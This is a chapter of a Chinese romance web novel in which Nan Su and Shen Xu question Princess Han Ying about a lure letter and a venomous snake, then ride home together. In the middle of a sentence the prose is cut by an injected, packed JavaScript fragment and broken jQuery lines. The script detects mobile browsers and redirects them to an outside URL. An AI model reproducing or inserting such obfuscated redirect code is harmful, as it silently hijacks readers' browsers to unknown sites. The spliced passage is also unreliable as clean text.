29.第 29 章
作品:《月皎惊乌栖不定》 安雀刚出门,沈序便来了。
他推开房门,正好与听到声响回头的南夙对上视线,走到她身侧坐下。
“好些没有?”他轻声问。
南夙点头,“已经没事了。”
“给你送信的人找到了。”沈序见她脸色已经恢复了正常,精神头也不错,才又说起其它事。
昨日在西市回来后他便让人去查给南夙送信之人,那人手段不怎样,手下人也胆小,沈序的人刚找上门便老实交代了。
“这么快?”昨日沈序是当着她的面让人去查的,所以南夙也知道,但她着实没想到这么快就能查到。
她问:“是谁?”
“韩颖。”
安宁郡主?
南夙了然,这是报复她来了,那豆豆也是她让人放的?
南夙觉得不会,她虽然只见过韩颖一面,却能感受到,韩颖只是那种会仗势欺人之人,但凭她当时的行为来看,韩颖做不出这种事,她没这个胆子。
“你能让我见见她吗?”
既然不确定,那就直接去问问好了。
“见她做什么?”
“有点事想问她。”南夙看着沈序,“凭你对她的了解,你觉得她会是放蛇之人吗?”
沈序面无表情:“我并不了解她。”
“哎呀,我不是那个意思,我知道你不喜欢她。”南夙拍拍他的手,“但是不管怎么样,你肯定比我了解吧。”
沈序正色,这才回答她方才的问题,“我觉得不是,她胆子没那么大。”
南夙赞同点点头,“我也觉得她不像,豆豆的族群不生活在京城,又是剧毒蛇,退一步说,哪怕她能找人抓到豆豆,也要又胆子让人靠豆豆杀我。”
她说这话时语气平静,好像经历这些的不是她,她只是在分析一项旁人的案情一样。
她思忖了一会,越想越觉得不会是韩颖。
纵然韩颖身为郡主,从小娇惯养大,性子娇纵些。但也正因为她贵为郡主,应当知晓南夙如果死了对大景与灵诏两国之间的影响。
所以她不敢。
为了解开疑惑,他们二人立刻动身前去拜访睿亲王府。
韩颖听下人说世子与世子妃来访时心下一震,不免心虚起来。
她知晓自己做了什么事,却拿不准沈序他们来找她的目的。那帮人明明说事情做得很隐蔽,韩颖想到那些人说的话,定了定心,出门迎了二人。
一并将厅上的下人都赶了下去。
南夙见到她后也没跟她叙旧,直入主题,问她昨日有没有让人往屋子里扔过蛇。韩颖没想到她一点也不掩饰,上来就直接问她,她自然是不会承认的,装模作样地问南夙再说什么?
这就让人讨厌了。
南夙坐下来跟她讲道理,“我也不是要找你的麻烦,我就是问你点事,郡主配合一下?”
韩颖虽然心虚,但对南夙的态度很不满意,想发作又顾虑沈序在一旁。她只好牵牵嘴角,尽量露出个好看的笑,但还是说不知道南夙在说什么?
沈序适时开口,将昨日查到之人带了上来,那人被沈序的人抓着衣领,一把扔进大厅,顺着力跪倒在韩颖面前,那人颤颤巍巍抬头,正与内心七上八下的韩颖对上视线。
韩颖慌乱移开视线,南夙问:“郡主还不承认吗?”
证人都在场了,韩颖知晓自己再怎么狡辩也没用,于是破罐子破摔地承认了是自己让人给南夙送了信引南夙出门。
“但是我只是想教训一下你,让你吃点苦头。”韩颖说道。
南夙:“所以你就让人往屋子里扔蛇?”
“什么蛇?”韩颖疑惑抬头。
果然。
南夙一看她的表情就知道她没撒谎,她只是想试探一下韩颖。
人在做了亏心事时总会与自己有关的话格外敏感,方才南夙有意无意提到过蛇几次,但韩颖都没有注意到,直到南夙直接提出,她才疑惑给出反应。虽然南夙觉得韩颖没那么好的演技,但为了避免她的慧眼失明,她还是将豆豆从怀里掏出来,递到韩颖的面前去了。
“蛇!”
韩颖简直要从凳子上跳起来,她身子后仰,偏头闭着眼睛,不敢看南夙手里的蛇。
南夙见她反应那么大,忙收回手来,豆豆乖巧地盘着她的手,南夙觉得心软软,又看了眼缩在椅子上的韩颖,莫名觉得有点不好意思。
“抱歉啊。”南夙将豆豆装进腰间的袋子里,“不是故意要吓你,只是想让你看看这条蛇你认不认识。”
韩颖见她将蛇收了回去才敢起身,她正经地坐直身体,两只手梳着垂在左边肩膀的头发,半晌,她正了正色,又恢复了那讨人厌的高傲嘴脸。
义正言辞地说道:“虽然我确实找人将你引了出去,但是我不会恶毒到要放蛇去对付你。”
南夙:“……”
难道把我引出去将我关起来这件事就很光彩吗?
得到答案,南夙不想多留,起身想走,沈序自然是跟着她一起走的,但他刚起身,韩颖也跟着站起来,让沈序多坐坐。
南夙站在一边等他的答案。
沈序要是留下,她就一刀砍了他。
当然,沈序是不可能留下的,他本来也没这个想法,不经意看见南夙在一边审视的眼神,他心中莫名有种满意。
他轻乜了眼韩颖,毫无波澜地说:“不敢叨扰郡主,还请郡主日后省身,切莫再做出害人之事。”
随后,他走到南夙身侧,微弯了下腰,牵住了南夙的手。
沈序不知是不是身体太好的缘故,手常年都是热的,温热的触感贴上南夙的手心,她一惊,抬头望向沈序。
“我们走吧。”沈序没有移开视线,南夙那双瞪大琥珀色的眸子在他眼中停留了不知几秒,他手中也感受着南夙手心的温度,“夫人。”
南夙呆滞着随着他的力道向前走了两步才反应过来,知晓沈序是想做戏给韩颖看,于是她配合着没有甩开沈序的手。
她清晰地感知到沈序牵着她的手时,那双手的温度从她的手指渡向她的全身。她胸口发烫,跳得很快,手指不自然动了一下,仿佛抹到了沈序手中常年我刀留下的茧。
沈序的手怎么这么硬。
南夙心想。
自己一定是病了,要不就是圣蛊不听话,不然自己怎么会突然如此躁动呢?那股说不清道不明的情绪像一股不讲道理的气在她体内横冲直撞,南夙却不知道那是什么,也不知道这感受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176606|196354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从何而来,是何意义。
直到出了亲王府上了马车,沈序才松开抓着南夙的手。南夙刚感觉到沈序的手指松开,就立马收回了手。
沈序看了她通红的脸一眼,知晓她是害羞了。
他正想开口揶揄她怎么这么容易害羞,还是个小孩吗?才想起来,南夙才不到十六岁,她确实,尚且年幼。
于是他收回了将要吐出的话,转而换了话题,“豆豆的事你有什么怀疑对象吗?”
他说了话,自上车便呆愣着的南夙才反应过来,她将那些奇怪的情绪都抛开,思量了一会,摇摇头。
“没有。”她说,“我入城后兵未与太多人有过交往,我想不到有谁会对我下杀手。”
沈序也知晓她所说确有道理,南夙入京没多久就同他一起下了江南,回京后更是没怎么出过门,谁会对她有如此恶意。
“会不会……”南夙大胆猜测,“豆豆并不是用来杀我的?”
“什么意思?”
“豆豆是毒蛇,我是蛊师。”南夙一点一点解释,“想杀我的人难道不知道我擅用毒?”
“你是说这人就是故意将豆豆送到你身边的?”沈序理解她的意思。
南夙点头,越想越觉得自己这个推测十分有道理“这人若是想杀我,应当也是知晓我的身份的,不会蠢到放一条毒蛇就妄想杀死我。”
“那你觉得这人是谁?”沈序没说赞不赞同她的猜测,但南夙既然有这样的猜测,应该是有怀疑的人。
但南夙却摇了摇头。
“不知道,只是比起有人想杀我,我觉得这种说法好听多了。”
居然是这个原因吗?
沈序失笑,揉了揉她的脑袋,“怎么这么可爱。”
南夙方才才放缓下来的心跳被沈序这么一揉,突然又失了控,她努力平复了一下心情,发现没啥用,于是她决定,不找自己的麻烦了,她要收拾罪魁祸首。
她一把将沈序的手拉下来,扑上去对沈序进行了好一番家庭交流。
马车内嬉笑声阵阵,车轮轱辘轱辘往侯府而去,载着少年人的欢乐与思绪,以及……那不为人知的、内心的小悸动。
“对了,过两日与楼兰有一场蹴鞠比赛,要不要去参加?”
南夙发泄够后,坐回原位歇气,沈序正好说道。
“蹴鞠赛?”
南夙声音提高,俨然惊喜。
“嗯,昨夜我们走得早,陛下在我们走后宣布的。”
“好啊好啊。”南夙头点得像小鸡啄米一样,眼神里的期待似要蹦出眼眶来,“我想参加。”
沈序忍俊不禁,“到时候带你去。”
回府后,被南夙喊去送信的安雀已经回来,上报南夙吩咐之事。戈辞姐姐说会尽量快些调查清楚。
除此之外,对于南夙关于豆豆身份的猜测,戈辞给了否定的答案。
她今日告诉沈序的猜测并不是空穴来风,她是真正好好想过了才会说。但她也没认为是戈辞做的,因为如果戈辞想给她,大可以直接给她就是了,没必要借韩颖来从中运作。
让安雀去问,只是想看看戈辞姐姐有没有什么线索。
但眼下很明显,戈辞姐姐也不知道是怎么回事。

